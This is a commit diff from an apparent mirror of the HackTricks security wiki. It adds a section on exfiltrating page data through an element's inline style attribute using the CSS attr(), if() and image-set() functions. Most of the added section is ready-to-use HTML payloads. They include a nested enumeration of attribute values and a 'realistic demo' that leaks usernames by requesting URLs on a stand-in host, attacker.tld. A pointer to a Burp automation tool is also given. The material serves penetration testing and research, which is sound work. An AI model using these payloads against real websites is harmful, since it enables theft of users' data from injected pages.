mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Merge pull request #1341 from HackTricks-wiki/update_Inline_Style_Exfiltration__leaking_data_with_chain_20250826_182859
Inline Style Exfiltration leaking data with chained CSS cond...
This commit is contained in:
		
						commit
						954b1d48e1
					
				| @ -107,6 +107,50 @@ You can find the original [**Pepe Vila's code to exploit this here**](https://gi | ||||
| > Sometimes the script **doesn't detect correctly that the prefix + suffix discovered is already the complete flag** and it will continue forwards (in the prefix) and backwards (in the suffix) and at some point it will hang.\ | ||||
| > No worries, just check the **output** because **you can see the flag there**. | ||||
| 
 | ||||
| ### Inline-Style CSS Exfiltration (attr() + if() + image-set()) | ||||
| 
 | ||||
| This primitive enables exfiltration using only an element's inline style attribute, without selectors or external stylesheets. It relies on CSS custom properties, the attr() function to read same-element attributes, the new CSS if() conditionals for branching, and image-set() to trigger a network request that encodes the matched value. | ||||
| 
 | ||||
| > [!WARNING] | ||||
| > Equality comparisons in if() require double quotes for string literals. Single quotes will not match. | ||||
| 
 | ||||
| - Sink: control an element's style attribute and ensure the target attribute is on the same element (attr() reads only same-element attributes). | ||||
| - Read: copy the attribute into a CSS variable: `--val: attr(title)`. | ||||
| - Decide: select a URL using nested conditionals comparing the variable with string candidates: `--steal: if(style(--val:"1"): url(//attacker/1); else: url(//attacker/2))`. | ||||
| - Exfiltrate: apply `background: image-set(var(--steal))` (or any fetching property) to force a request to the chosen endpoint. | ||||
| 
 | ||||
| Attempt (does not work; single quotes in comparison): | ||||
| 
 | ||||
| ```html | ||||
| <div style="--val:attr(title);--steal:if(style(--val:'1'): url(/1); else: url(/2));background:image-set(var(--steal))" title=1>test</div> | ||||
| ``` | ||||
| 
 | ||||
| Working payload (double quotes required in the comparison): | ||||
| 
 | ||||
| ```html | ||||
| <div style='--val:attr(title);--steal:if(style(--val:"1"): url(/1); else: url(/2));background:image-set(var(--steal))' title=1>test</div> | ||||
| ``` | ||||
| 
 | ||||
| Enumerating attribute values with nested conditionals: | ||||
| 
 | ||||
| ```html | ||||
| <div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: if(style(--val:"4"): url(/4); else: if(style(--val:"5"): url(/5); else: if(style(--val:"6"): url(/6); else: if(style(--val:"7"): url(/7); else: if(style(--val:"8"): url(/8); else: if(style(--val:"9"): url(/9); else: url(/10)))))))))); background: image-set(var(--steal));' data-uid='1'></div> | ||||
| ``` | ||||
| 
 | ||||
| Realistic demo (probing usernames): | ||||
| 
 | ||||
| ```html | ||||
| <div style='--val: attr(data-username); --steal: if(style(--val:"martin"): url(https://attacker.tld/martin); else: if(style(--val:"zak"): url(https://attacker.tld/zak); else: url(https://attacker.tld/james))); background: image-set(var(--steal));' data-username="james"></div> | ||||
| ``` | ||||
| 
 | ||||
| Notes and limitations: | ||||
| 
 | ||||
| - Works on Chromium-based browsers at the time of research; behavior may differ on other engines. | ||||
| - Best suited for finite/enumerable value spaces (IDs, flags, short usernames). Stealing arbitrary long strings without external stylesheets remains challenging. | ||||
| - Any CSS property that fetches a URL can be used to trigger the request (e.g., background/image-set, border-image, list-style, cursor, content). | ||||
| 
 | ||||
| Automation: a Burp Custom Action can generate nested inline-style payloads to brute-force attribute values: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda | ||||
| 
 | ||||
| ### Other selectors | ||||
| 
 | ||||
| Other ways to access DOM parts with **CSS selectors**: | ||||
| @ -779,8 +823,11 @@ So, if the font does not match, the response time when visiting the bot is expec | ||||
| - [https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b](https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b) | ||||
| - [https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d](https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d) | ||||
| - [https://x-c3ll.github.io/posts/CSS-Injection-Primitives/](https://x-c3ll.github.io/posts/CSS-Injection-Primitives/) | ||||
| - [Inline Style Exfiltration: leaking data with chained CSS conditionals (PortSwigger)](https://portswigger.net/research/inline-style-exfiltration) | ||||
| - [InlineStyleAttributeStealer.bambda (Burp Custom Action)](https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda) | ||||
| - [PoC page for inline-style exfiltration](https://portswigger-labs.net/inline-style-exfiltration-ff1072wu/test.php) | ||||
| - [MDN: CSS if() conditional](https://developer.mozilla.org/en-US/docs/Web/CSS/if) | ||||
| - [MDN: CSS attr() function](https://developer.mozilla.org/en-US/docs/Web/CSS/attr) | ||||
| - [MDN: image-set()](https://developer.mozilla.org/en-US/docs/Web/CSS/image/image-set) | ||||
| 
 | ||||
| {{#include ../../../banners/hacktricks-training.md}} | ||||
| 
 | ||||
| 
 | ||||
| 
 | ||||
|  | ||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user